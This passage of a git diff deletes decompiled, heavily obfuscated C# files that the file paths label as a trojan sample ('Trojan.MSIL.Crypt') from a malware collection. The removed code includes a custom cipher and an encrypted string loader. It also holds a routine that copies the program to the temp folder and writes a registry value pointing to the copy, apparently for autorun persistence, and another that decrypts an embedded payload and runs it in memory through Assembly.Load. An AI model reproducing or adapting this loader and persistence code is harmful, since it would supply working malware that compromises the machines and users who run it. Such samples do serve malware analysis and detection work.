\u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0003(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2007\u2009\u2000\u2008\u2004\u2009\u2007\u2001\u2007\u2004\u200A\u2001\u2008\u2003\u2008\u2004\u200A\u2007)), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0002\u2000​\u200A\u200A\u2000​\u200A\u2008\u2006\u2003\u2008\u2009\u2004\u2004\u2000\u2000\u2005\u2008\u2007\u200A\u2005)), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0002(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0006\u2008\u2003\u2007\u200A\u2008\u2008\u2001\u2005\u2003​\u2004)), \u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2008\u2009\u2004\u2002\u2001\u200A​\u2002\u2003\u2004\u2002​\u200A\u200A\u2005\u2003\u2008))))))); - } - - private sealed class \u0002\u2000​\u200A\u200A\u2000​\u200A\u2008\u2006\u2003\u2008\u2009\u2004\u2004\u2000\u2000\u2005\u2008\u2007\u200A\u2005 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0002(\u0002\u2000.\u000F\u2007\u2009\u2000\u2008\u2004\u2009\u2007\u2001\u2007\u2004\u200A\u2001\u2008\u2003\u2008\u2004\u200A\u2007.\u0002() ^ -~~--~~-~-~-527758448, \u0002\u2000.\u0002(typeof (\u0002\u2000.\u0003\u2000\u2000\u2008\u2006​​\u2002\u2006​\u200A\u2000\u2004))), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0003(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0003\u2000\u2002\u2005\u2008\u2007\u2007\u200A\u2001\u2009\u2003\u2006\u2007\u2006\u2004\u200A\u2009\u2007\u2001\u2008\u2004\u2006\u2001\u2004\u2001\u2001\u2008\u2005\u2001)) ^ \u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2008\u2009\u2004\u2002\u2001\u200A​\u2002\u2003\u2004\u2002​\u200A\u200A\u2005\u2003\u2008)), -~-~-~~-~-886809389)); - } - - private sealed class \u000E\u2003\u200A\u2005\u2000\u2007\u2002\u2008\u2009​\u2004\u2001\u2005\u2008​\u2002\u2007 - { - private int \u0002; - private int \u0003; - - internal \u000E\u2003\u200A\u2005\u2000\u2007\u2002\u2008\u2009​\u2004\u2001\u2005\u2008​\u2002\u2007() => this.\u0002(0L); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0002\u2000.\u000E\u2003\u200A\u2005\u2000\u2007\u2002\u2008\u2009​\u2004\u2001\u2005\u2008​\u2002\u2007).Assembly || !\u0002\u2000.\u0002()) - return 2918384; - int[] numArray = new int[4] - { - 0, - 0, - 0, - ~-~-~--~~-~-1492137824 - }; - numArray[1] = -~~-~-~-~-1318397890; - numArray[2] = ~-~--~~-~-208194910; - numArray[0] = -~-~-~~-~-~-2045092861; - int num1 = this.\u0002; - int num2 = this.\u0003; - int num3 = -~~--~~-~-~1640531525; - int num4 = -~~--~-~~957401313; - for (int index = 0; index != 32; ++index) - { - num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3]; - num4 -= num3; - num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - return (long) ((ulong) num2 << 32 | (ulong) (uint) num1); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal void \u0002(long _param1) - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0002\u2000.\u000E\u2003\u200A\u2005\u2000\u2007\u2002\u2008\u2009​\u2004\u2001\u2005\u2008​\u2002\u2007).Assembly || !\u0002\u2000.\u0002()) - return; - int[] numArray = new int[4] - { - 0, - -~-~-~-~~-~-1318397885, - 0, - 0 - }; - numArray[0] = -~~--~~--~~-2045092861; - numArray[2] = ~-~--~~-~-208194910; - numArray[3] = ~--~~-~-~-1492137823; - int num1 = -~~-~-~-~1640531524; - int num2 = (int) _param1; - int num3 = (int) (_param1 >> 32); - int num4 = 0; - for (int index = 0; index != 32; ++index) - { - num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3]; - num4 += num1; - num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - this.\u0002 = num2; - this.\u0003 = num3; - } - } - - private static class \u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000 - { - internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - ~--~-~~-~-~554508142; - - internal static int \u0003(int _param0, int _param1) => _param0 - -~-~~--~~709843099 ^ _param1 + -~~-~-~-~1114449309; - - internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - -~~--~-~~839776509 ^ _param0 - _param1; - } - - private sealed class \u000F\u2007\u2009\u2000\u2008\u2004\u2009\u2007\u2001\u2007\u2004\u200A\u2001\u2008\u2003\u2008\u2004\u200A\u2007 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0002(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0002\u2000​\u200A\u200A\u2000​\u200A\u2008\u2006\u2003\u2008\u2009\u2004\u2004\u2000\u2000\u2005\u2008\u2007\u200A\u2005)), \u0002\u2000.\u0002(typeof (\u0002\u2000.\u0003\u2000\u2000\u2008\u2006​​\u2002\u2006​\u200A\u2000\u2004)) ^ \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0003(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2007\u2009\u2000\u2008\u2004\u2009\u2007\u2001\u2007\u2004\u200A\u2001\u2008\u2003\u2008\u2004\u200A\u2007)), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2008\u2009\u2004\u2002\u2001\u200A​\u2002\u2003\u2004\u2002​\u200A\u200A\u2005\u2003\u2008)), \u0002\u2000.\u0003\u2000\u2000\u2008\u2006​​\u2002\u2006​\u200A\u2000\u2004.\u0002()))); - } - - private sealed class \u0006\u2008\u2003\u2007\u200A\u2008\u2008\u2001\u2005\u2003​\u2004 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0003(\u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0003(\u0002\u2000.\u0002\u2000​\u200A\u200A\u2000​\u200A\u2008\u2006\u2003\u2008\u2009\u2004\u2004\u2000\u2000\u2005\u2008\u2007\u200A\u2005.\u0002(), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0002(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0006\u2008\u2003\u2007\u200A\u2008\u2008\u2001\u2005\u2003​\u2004)), \u0002\u2000.\u000F\u2007\u2009\u2000\u2008\u2004\u2009\u2007\u2001\u2007\u2004\u200A\u2001\u2008\u2003\u2008\u2004\u200A\u2007.\u0002())), \u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2008\u2009\u2004\u2002\u2001\u200A​\u2002\u2003\u2004\u2002​\u200A\u200A\u2005\u2003\u2008))); - } - - private sealed class \u000F\u2008\u2009\u2004\u2002\u2001\u200A​\u2002\u2003\u2004\u2002​\u200A\u200A\u2005\u2003\u2008 - { - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0002(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u000F\u2008\u2009\u2004\u2002\u2001\u200A​\u2002\u2003\u2004\u2002​\u200A\u200A\u2005\u2003\u2008)), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0003(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0006\u2008\u2003\u2007\u200A\u2008\u2008\u2001\u2005\u2003​\u2004)), \u0002\u2000.\u0002(typeof (\u0002\u2000.\u0003\u2000\u2002\u2005\u2008\u2007\u2007\u200A\u2001\u2009\u2003\u2006\u2007\u2006\u2004\u200A\u2009\u2007\u2001\u2008\u2004\u2006\u2001\u2004\u2001\u2001\u2008\u2005\u2001))), \u0002\u2000.\u0002\u2007\u2001\u2009\u200A\u200A\u2003\u2004\u2002\u2006\u2001\u2002\u2007\u2007\u2007\u2007\u2005\u2007\u2002\u2006\u2008\u2001\u2000.\u0005(\u0002\u2000.\u0002(typeof (\u0002\u2000.\u0002\u2000​\u200A\u200A\u2000​\u200A\u2008\u2006\u2003\u2008\u2009\u2004\u2004\u2000\u2000\u2005\u2008\u2007\u200A\u2005)) ^ -~~-~-~--~~1972026791, \u0002\u2000.\u0006\u2008\u2003\u2007\u200A\u2008\u2008\u2001\u2005\u2003​\u2004.\u0002()))); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0003.cs deleted file mode 100644 index 5942ac71..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0003.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -[GeneratedCode("MyTemplate", "8.0.0.0")] -[EditorBrowsable(EditorBrowsableState.Never)] -internal sealed class \u0003 : Computer -{ - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0005.cs deleted file mode 100644 index 6dbab5ac..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0005.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[HideModuleName] -[StandardModule] -[GeneratedCode("MyTemplate", "8.0.0.0")] -internal sealed class \u0005 -{ - private static readonly \u0005.\u0003<\u0003> \u0002 = new \u0005.\u0003<\u0003>(); - private static readonly \u0005.\u0003<\u0002> \u0003 = new \u0005.\u0003<\u0002>(); - private static readonly \u0005.\u0003 \u0005 = new \u0005.\u0003(); - private static readonly \u0005.\u0003<\u0005.\u0002> \u0008 = new \u0005.\u0003<\u0005.\u0002>(); - - [DebuggerHidden] - internal static \u0003 \u0002() => \u0005.\u0002.\u0002(); - - [DebuggerHidden] - internal static \u0002 \u0002() => \u0005.\u0003.\u0002(); - - [DebuggerHidden] - internal static User \u0002() => \u0005.\u0005.\u0002(); - - [DebuggerHidden] - internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002(); - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal Type \u0002() => typeof (\u0005.\u0002); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0002(T _param0) where T : new() => (object) _param0 == null ? new T() : _param0; - - [DebuggerHidden] - private void \u0003(ref T _param1) => _param1 = default (T); - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003<\u0002> where \u0002 : new() - { - [ThreadStatic] - private static \u0002 \u0002; - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0003() - { - } - - [DebuggerHidden] - internal \u0002 \u0002() - { - if ((object) \u0005.\u0003<\u0002>.\u0002 == null) - \u0005.\u0003<\u0002>.\u0002 = new \u0002(); - return \u0005.\u0003<\u0002>.\u0002; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0006.cs deleted file mode 100644 index 4ff348ac..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0006.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.IO; -using System.Reflection; -using System.Resources; - -[StandardModule] -internal sealed class \u0006 -{ - public static ResourceManager \u0002 = new ResourceManager(\u000E.\u0002(1911372053), Assembly.GetExecutingAssembly()); - public static string \u0003 = Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName; - - public static object \u0002() - { - try - { - if (Operators.CompareString(\u0006.\u0003, Path.GetTempPath() + \u0006.\u0002(\u000E.\u0002(1911372057), \u000E.\u0002(1911372094)), false) != 0) - { - File.Copy(\u0006.\u0003, Path.GetTempPath() + \u0006.\u0002(\u000E.\u0002(1911372057), \u000E.\u0002(1911372094)), true); - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(\u0006.\u0002(\u000E.\u0002(1911372109), \u000E.\u0002(1911372170)), true); - registryKey.SetValue(\u0006.\u0002(\u000E.\u0002(1911372185), \u000E.\u0002(1911372202)), (object) (Path.GetTempPath() + \u0006.\u0002(\u000E.\u0002(1911372057), \u000E.\u0002(1911372094))), RegistryValueKind.String); - registryKey.Close(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - object obj; - return obj; - } - - public static string \u0002(string _param0, string _param1) => Conversions.ToString(Assembly.Load(File.ReadAllBytes(\u000E.\u0002(1911372217))).GetType(\u000E.\u0002(1911372233)).GetMethod(\u000E.\u0002(1911372256)).Invoke((object) null, new object[2] - { - (object) _param0, - (object) _param1 - })); - - public static byte[] \u0002(byte[] _param0, string _param1) => (byte[]) Assembly.Load(File.ReadAllBytes(\u000E.\u0002(1911372217))).GetType(\u000E.\u0002(1911372233)).GetMethod(\u000E.\u0002(1911372285)).Invoke((object) null, new object[2] - { - (object) _param0, - (object) _param1 - }); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0008.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0008.cs deleted file mode 100644 index 98060b2f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_0008.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.Serialization.Formatters.Binary; - -public sealed class \u0008 -{ - private static byte[] \u0002; - private static object[] \u0003; - - public static byte[] \u0002(object _param0) - { - try - { - MemoryStream serializationStream = new MemoryStream(); - new BinaryFormatter().Serialize((Stream) serializationStream, RuntimeHelpers.GetObjectValue(_param0)); - return serializationStream.ToArray(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - Console.WriteLine(\u000E.\u0002(1911371777), (object) exception.ToString()); - ProjectData.ClearProjectError(); - } - return (byte[]) null; - } - - public static object \u0002() - { - \u0008.\u0002 = \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u0006.\u0002.GetObject(\u000E.\u0002(1911371822)), new object[1] - { - (object) 1 - }, (string[]) null), \u000E.\u0002(1911371827)); - \u0008.\u0003 = new object[2] - { - (object) \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u0006.\u0002.GetObject(\u000E.\u0002(1911371822)), new object[1] - { - (object) 0 - }, (string[]) null), \u000E.\u0002(1911371840)), - (object) (Environment.GetEnvironmentVariable(\u0006.\u0002(\u000E.\u0002(1911371857), \u000E.\u0002(1911371874))) + \u0006.\u0002(\u000E.\u0002(1911371901), \u000E.\u0002(1911371962))) - }; - object obj; - return obj; - } - - [STAThread] - public static void \u0002() - { - \u0008.\u0002(); - Assembly.Load(\u0008.\u0002).GetType(\u0006.\u0002(\u000E.\u0002(1911371989), \u000E.\u0002(1911372006))).GetMethod(\u0006.\u0002(\u000E.\u0002(1911372021), \u000E.\u0002(1911372038))).Invoke((object) null, \u0008.\u0003); - \u0006.\u0002(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_000E.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_000E.cs deleted file mode 100644 index 6ac17e44..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9/_000E.cs +++ /dev/null @@ -1,502 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 1a9ca88073c831d03e5ae28cc7566846, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C57E47F5-DC7E-4448-AA2F-A275B8AE3AB0 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gvl-7aae8877da5362d35c61c92615da0602ef1cabe3faad9dfcf25f4e162bade1e9.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u000E -{ - private static \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009 \u0002; - private static \u000E.\u000E\u2001\u2007\u2003\u2005​\u2005\u2006\u2008\u200A\u2003\u2008\u2007\u2009\u2008\u2004\u200A\u200A\u2005\u2005\u2009\u2008 \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - private static int \u000F; - private static int \u0002\u2000; - private static \u000E.\u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001 \u0003\u2000; - - [MethodImpl(MethodImplOptions.NoInlining)] - static \u000E() - { - int num1 = -1088033845; - int num2 = 1551243919 ^ num1; - \u000E.\u0002 = new \u000E.\u000F\u2002\u2007\u2006\u2003​\u2004\u2000\u2003\u2004\u2005\u2008\u2001​\u2000\u2009\u2004\u2006\u2009\u2003\u2003\u2004\u2009(23); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - int num3 = -~~-~-~-~(num1 - 1075427070 - num2) ^ -~~-~-~-~-~(-851689689 - num1 ^ num2); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - if (frame != null) - num3 ^= -~~--~-~~((-1227365002 ^ num1) + num2); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - int num4; - if ((object) type == (object) typeof (RuntimeMethodHandle)) - { - num4 = num3 ^ 606996640 + num1 - num2 + index; - \u000E.\u0003\u2000 = (\u000E.\u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001) 4 | \u000E.\u0003\u2000; - } - else if ((object) type == null) - { - \u000E.\u0003\u2000 = (\u000E.\u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001) 1 | \u000E.\u0003\u2000; - num4 = num3 ^ ~--~-~~--~~(-1551272507 ^ num1 ^ num2); - } - else if ((object) type.Assembly != (object) typeof (\u000E).Assembly) - { - \u000E.\u0003\u2000 = (\u000E.\u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001) 2 | \u000E.\u0003\u2000; - num4 = num3 ^ 117206384 - num1 + num2; - } - else - { - \u000E.\u0003\u2000 = (\u000E.\u0008\u2003​\u2008\u2005\u2008\u2009​\u2006\u2003\u2001\u2002\u2008\u2007\u2002​\u2001\u2003\u2001) 16 | \u000E.\u0003\u2000; - num4 = num3 ^ -~-~~--~~(606971798 + num1 - num2) - index; - } - \u000E.\u0002\u2000 = num4 + \u000E.\u0002\u2000; - } - - private static void \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_10: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - break; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_10; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - int num1 = -2053464755; - int num2 = num1 - 432748023; - lock (\u000E.\u0002) - { - string str1; - byte[] numArray1; - int num3; - while (true) - { - str1 = \u000E.\u0002.\u0002(_param0); - if (str1 == null) - { - int num4; - if (\u000E.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u000E.\u0006 |= (-293772139 ^ num1) - num2; - Assembly assembly1 = executingAssembly; - StringBuilder stringBuilder = new StringBuilder(); - int num5 = num1 + 782244706 + num2; - stringBuilder.Append((char) (num5 >> 16)).Append((char) num5); - int num6 = 292758696 - num1 - num2; - stringBuilder.Append((char) num6).Append((char) (num6 >> 16)); - int num7 = num1 ^ -832775654 ^ num2; - stringBuilder.Append((char) num7).Append((char) (num7 >> 16)); - int num8 = 104458764 + num1 - num2; - stringBuilder.Append((char) (num8 >> 16)).Append((char) num8); - int num9 = 970020350 - num1 + num2; - stringBuilder.Append((char) num9).Append((char) (num9 >> 16)); - int num10 = (240458263 ^ num1) - num2; - stringBuilder.Append((char) num10).Append((char) (num10 >> 16)); - int num11 = num1 - 432756219 ^ num2; - stringBuilder.Append((char) num11); - string name = stringBuilder.ToString(); - Stream manifestResourceStream = assembly1.GetManifestResourceStream(name); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u000E.\u0006 ^= (-296411695 ^ num1) - num2 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u000E.\u0006 ^= index + (-244710109 - num1 ^ num2); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u000E.\u0006 ^= num1 - 432528708 - num2; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u000E.\u0006 ^= -244710077 - num1 ^ num2; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u000E.\u0006 ^= num1 - 432528740 - num2; - } - if (flag == (stackTrace != null)) - \u000E.\u0006 ^= 32; - \u000E.\u0006 ^= 432754525 - num1 + num2 | 1 + index; - \u000E.\u0003 = new \u000E.\u000E\u2001\u2007\u2003\u2005​\u2005\u2006\u2008\u200A\u2003\u2008\u2007\u2009\u2008\u2004\u200A\u200A\u2005\u2005\u2009\u2008(manifestResourceStream); - short num12 = (short) ((int) \u000E.\u0003.\u0002() ^ (int) (short) ~-~--~-~~-~(296360990 ^ num1 ^ num2)); - if (num12 == (short) 0) - \u000E.\u0008 = (short) ((int) \u000E.\u0003.\u0002() ^ (int) (short) -~~-~--~-~~(-244720579 - num1 - num2)); - else - \u000E.\u0005 = 